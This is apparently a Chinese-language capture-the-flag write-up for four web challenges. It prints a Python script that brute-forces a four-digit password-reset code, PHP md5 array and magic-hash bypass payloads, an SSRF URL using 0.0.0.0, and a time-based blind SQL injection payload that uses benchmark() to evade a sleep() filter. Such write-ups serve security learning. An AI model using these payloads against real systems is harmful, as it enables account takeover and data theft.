签到
点一下忘记密码
然后就输入手机号,并输入四位验证码。手机号可以在登陆界面的注释中找到,这里说是四位数验证码,那就应该是爆破了。菜鸡的脚本附上
import requests
url1='http://121.196.32.184:8080/findpass.php?num=15970773575&check='
url2='&next=%E4%B8%8B%E4%B8%80%E6%AD%A5'
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
for l in range(0,10):
pay=str(i)+str(j)+str(k)+str(l)
url=url1+pay+url2
res=requests.get(url)
if len(res.text)!=1059:
print(pay)
break
这脚本跑的有点慢,请师傅们不要嫌弃
跑出验证码后直接修改密码,登录拿flag
ezphp
源码
error_reporting(0);
highlight_file(__file__);
include('flag.php');
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo $flag;
}
else {
die('you are close');
}
}
else {
die("md5 is wrong");
}
}
else {
die('str1 not number');
}
}
else {
die('you are wrong!');
}
?>
第一层直接数组绕
?param1[]=1¶m2[]=2
第二层是要传入一个数字和一个不受限制的,这两个值的md5值不能相等,然后用strstr()函数将其MD5值中的c换为0,x换为1…这个与NCTF2019的Easyphp基本一样,解题原理就是传一个md5值以ce开头的数字,其md5值经过strstr()函数处理后ce就变成了0e,另一个参数的md5以0e开头,就构成了md5碰撞。直接上payload
?param1[]=1¶m2[]=2&str1=9427417&str2=240610708
ssrfme
直接用0.0.0.0
?url=http://0.0.0.0/flag.php
xiazhu
一个很漂亮的登陆界面,但是登录键没法按。直接将前端代码表单中的disabled删了就行了
这样就知道怎么传参的了。感觉应该是sql注入,但是加单引号这些页面都没什么变化,就想着试试时间盲注。
ok,思路没错,但是sleep()被过滤,这里可以用benchmark()绕过,
成功延时。那么就可以时间盲注了,
1' and if((ascii(substr(database(),1,1))>100),benchmark(1000000,md5('hahaha')),0)%23
注数据库,我写的脚本不知道为什么不能延时,找了很多办法也没有解决,就手注出了个数据库就没做了。数据库名: flllllllaggggggg。
好了,接着去准备考试了,我(xue)爱(ge)学(chui)习(zi)。